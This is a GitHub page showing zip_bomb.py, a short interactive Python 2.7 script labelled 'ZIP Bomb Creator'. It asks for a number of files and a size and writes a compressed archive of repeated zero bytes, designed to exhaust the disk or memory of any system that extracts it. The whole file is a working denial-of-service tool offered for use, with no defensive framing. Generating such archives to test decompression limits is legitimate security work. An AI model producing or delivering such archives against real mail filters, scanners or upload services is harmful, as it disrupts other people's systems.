-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathzip_bomb.py
50 lines (43 loc) · 1.93 KB
/
zip_bomb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import os
def print_banner():
banner = """
======================================
| ZIP Bomb Creator v1.0 |
| Created by Python 2.7 |
| Use with caution! |
======================================
"""
print(banner)
def create_zip_bomb(output_filename, num_files, file_size, unit):
unit_multipliers = {"KB": 1024, "MB": 1024 * 1024, "GB": 1024 * 1024 * 1024}
if unit not in unit_multipliers:
raise ValueError("Units must be KB, MB, or GB")
dummy_data = b"0" * file_size * unit_multipliers[unit]
print("Create ZIP:", output_filename)
with zipfile.ZipFile(output_filename, "w", zipfile.ZIP_DEFLATED, allowZip64=True) as z:
for j in range(num_files):
z.writestr("xxx_%d.txt" % j, dummy_data)
print("ZIP Bomb successfully created!")
def get_valid_input(prompt, valid_options=None, is_int=False):
while True:
user_input = raw_input(prompt).strip()
if not user_input:
print("Input cannot be empty. Please try again..")
continue
if is_int:
if not user_input.isdigit():
print("Must be a number. Please try again..")
continue
return int(user_input)
if valid_options and user_input.upper() not in valid_options:
print("Invalid selection. Please try again..")
continue
return user_input.upper()
if __name__ == "__main__":
print_banner()
# Set the number of files and data size manually with input validation.
number_of_files = get_valid_input("Enter the number of files: ", is_int=True)
file_size = get_valid_input("Enter file size: ", is_int=True)
unit = get_valid_input("Enter the unit of measure (KB, MB, GB): ", ["KB", "MB", "GB"])
create_zip_bomb("zip_bomb.zip", number_of_files, file_size, unit)